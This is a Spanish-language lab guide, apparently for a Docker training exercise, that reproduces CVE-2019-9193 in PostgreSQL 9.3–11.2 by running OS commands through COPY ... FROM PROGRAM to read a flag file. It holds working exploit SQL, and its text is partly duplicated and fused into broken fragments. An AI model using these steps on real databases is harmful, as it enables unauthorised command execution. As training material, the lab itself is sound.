
Este laboratorio simula CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
Este laboratorio simula la vulnerabilidad CVE-2019-9193 presente en PostgreSQL versión 9.3 - 11.2, que permite a los usuarios superuser o con el rol pg_execute_server_program usar el comando:
COPY ... FROM PROGRAM '<command>'
para ejecutar comandos del sistema operativo directamente, lo que provoca Remote Command Execution (RCE) si el atacante puede acceder a la base de datos.
Este laboratorio te permite usar esta capacidad para leer el archivo:
/tmp/flag.txt
COPY FROM PROGRAM para ejecutar comandos del sistema/tmp/flag.txtdocker compose build
docker compose up -d
A continuación, conéctate a la base de datos:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
idCOPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
Ejemplo de salida:
flag{SECRET}
postgres en aplicaciones realespg_execute_server_programEste laboratorio simula CVE-2019-9193, una vulnerabilidad de PostgreSQL 9.3–11.2 que permite:
COPY ... FROM PROGRAM '<command>'
ejecutar comandos del sistema operativo cuando lo usa un superusuario o un rol con pg_execute_server_program.
Tu tarea es explotar esta función para leer:
/tmp/flag.txt
COPY FROM PROGRAM para:
docker compose build
docker compose up -d
Conéctate a través de:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program innecesariamente